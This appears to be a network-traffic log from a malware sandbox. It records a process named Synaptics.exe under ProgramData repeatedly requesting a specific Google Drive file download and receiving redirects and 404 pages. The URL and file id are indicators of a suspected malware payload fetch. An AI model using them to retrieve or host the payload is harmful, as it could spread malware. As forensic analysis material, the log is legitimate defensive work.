Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.8	49875	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:47 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:47 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:47 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Ixl1fstjx-7qWgrNfu4l3Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.8	49876	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:47 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:47 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6_0AGYMBjiXMFd6TwTkDCnPSQ74AE7m-qmCKXAUq8fhvsmLEoggtoVpVCeJVW86CzK Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:47 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-gNCI-alLHsb_D-PxYNc_QQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:47 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:20:47 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 38 39 79 49 62 38 76 6b 45 66 4b 44 5f 66 5a 79 70 54 55 6c 76 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="89yIb8vkEfKD_fZypTUlvQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:20:47 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.8	49879	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:47 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:47 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6Tx7_thS32V8HZAHi4LS4YteYDbxj1sQgOhMzHr1lU5qgM7xbmYd5ROteKfryqIbM0HU4hQGY Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:47 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-Uh7SFcXHm7jfPny64_ZuSg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:47 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:47 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4a 4f 5f 48 66 70 67 36 6a 6e 54 5f 57 4d 59 77 48 67 42 6e 66 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="JO_Hfpg6jnT_WMYwHgBnfA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:47 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.8	49877	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:47 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:47 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:47 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-hwRwiNP2O6HFg5MP2DRq0g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.8	49881	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:48 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.8	49880	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:48 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.8	49882	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:48 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.8	49883	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:48 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.8	49887	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:49 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:49 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:49 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-UV71e0eek41UcLNZT0Ehyg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.8	49886	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:49 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:49 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:49 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-wPQMt93Fgq5FC-_hcFTXtQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.8	49889	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:50 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:50 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5lU8uC96EB7rTKlJhufgJbUjGOkyj_RZOz-IIl21RMYNIc77rir5Mvu2Md1VU8PEeXXllGl-4 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:50 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce--tL92VARK0M563EQZ6DEBA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:50 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:50 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 52 6b 31 44 57 35 45 74 35 4c 72 66 66 46 6d 55 33 46 56 49 71 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="Rk1DW5Et5LrffFmU3FVIqQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:50 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.8	49891	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:50 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
